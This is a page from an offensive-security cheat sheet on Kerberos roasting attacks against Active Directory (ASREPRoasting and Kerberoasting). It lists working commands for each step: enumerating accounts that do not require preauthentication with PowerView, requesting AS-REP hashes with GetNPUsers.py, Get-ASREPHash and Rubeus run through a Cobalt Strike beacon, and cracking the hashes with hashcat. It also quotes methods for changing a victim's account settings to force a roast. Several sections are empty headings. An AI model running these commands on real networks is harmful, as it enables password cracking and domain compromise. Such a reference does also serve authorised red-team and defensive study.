Roasting

ASREPRoasting

Show domain users with DONT_REQ_PREAUTH flag set:

PowerView3 > Get-DomainUser -UACFilter DONT_REQ_PREAUTH

Normal

GetNPUsers.py

$ GetNPUsers.py megacorp.local/ -dc-ip 127.0.0.1 -no-pass -usersfile ~/ws/enum/names.txt -request -outputfile asrep.in | tee GetNPUsers.out
$ cat GetNPUsers.out | grep -v 'Client not found in Kerberos database'
$ hashcat -m 18200 -O -a 0 -w 3 --session=asrep -o asrep.out asrep.in seclists/Passwords/darkc0de.txt -r rules/d3ad0ne.rule

ASREPRoast.ps1

PS > Get-ASREPHash -Domain megacorp.local -UserName snovvcrash

Rubeus

beacon> execute-assembly ADSearch.exe --search "(&(sAMAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" --attributes cn,distinguishedname,samaccountname
beacon> execute-assembly Rubeus.exe asreproast /nowrap [/user:svc_mssql]

Targeted

"Given GenericWrite/GenericAll DACL rights over a target, we can modify most of the user's attributes. We can change a victim's userAccountControl to not require Kerberos preauthentication, grab the user's crackable AS-REP, and then change the setting back." (@harmj0y, refarrow-up-right)

Kerberoasting

Check msDS-SupportedEncryptionTypes attribute (if RC4 is enabled):

Normal

GetUserSPNs.py

circle-info

In case LDAP(S) ports are blocked, kerberoasting can be performed via the Global Catalog port (3268/TCP). For that purposes changearrow-up-right ldap:// scheme to gc://.

Check if there're any brutable kerberoastable users with a path to high value targetsarrow-up-right having got cracked NTDS (useful when writing a report):

PowerView

Rubeus

Targeted

"We can execute 'normal' Kerberoasting instead: given modification rights on a target, we can change the user's serviceprincipalname to any SPN we want (even something fake), Kerberoast the service ticket, and then repair the serviceprincipalname value." (@harmj0y, refarrow-up-right)

Roast-in-the-Middle

Downgrading Encryption Type (RC4)

Timeroasting

Targeted

Last updated